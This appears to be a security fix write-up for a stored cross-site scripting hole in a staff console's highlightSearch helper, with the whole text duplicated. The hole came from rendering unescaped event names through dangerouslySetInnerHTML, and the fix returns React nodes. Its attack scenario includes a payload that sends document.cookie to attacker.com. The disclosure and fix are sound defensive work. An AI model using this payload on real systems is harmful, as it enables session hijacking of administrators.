Stored XSS via highlightSearch() + dangerouslySetInnerHTML in console/src/lib/ui-utils.tsx
The highlightSearch helper performed a raw string replacement into an HTML string and returned it for use with dangerouslySetInnerHTML. Because the input text was never HTML-escaped, any attacker-controlled string (e.g. an event name ingested via the tracking API) could inject arbitrary HTML/JS into the staff console.
Attack scenario: A tenant sends a tracking event whose name is <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>. This name is stored, surfaced in suggestions.eventPaths, and rendered unescaped in the journey/segment rule builder resulting in XSS in an authenticated admin session.
Changes: Modifing highlightSearch() to now return React.ReactNode instead of a raw HTML string, splitting the text around the match and rendering as a React element. All 5 call sites (RuleEventName.tsx, RuleOrganizationEventName.tsx, FilterRuleEdit.tsx, MemberConditionEdit.tsx, JourneyRuleEdit.tsx) should updated to render the returned node directly instead of via dangerouslySetInnerHTML.
Stored XSS via highlightSearch() + dangerouslySetInnerHTML in
console/src/lib/ui-utils.tsxThe highlightSearch helper performed a raw string replacement into an HTML string and returned it for use with dangerouslySetInnerHTML. Because the input text was never HTML-escaped, any attacker-controlled string (e.g. an event name ingested via the tracking API) could inject arbitrary HTML/JS into the staff console.
Attack scenario: A tenant sends a tracking event whose name is <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>. This name is stored, surfaced in suggestions.eventPaths, and rendered unescaped in the journey/segment rule builder resulting in XSS in an authenticated admin session.
Changes: Modifing highlightSearch() to now return React.ReactNode instead of a raw HTML string, splitting the text around the match and rendering as a React element. All 5 call sites (RuleEventName.tsx, RuleOrganizationEventName.tsx, FilterRuleEdit.tsx, MemberConditionEdit.tsx, JourneyRuleEdit.tsx) should updated to render the returned node directly instead of via dangerouslySetInnerHTML.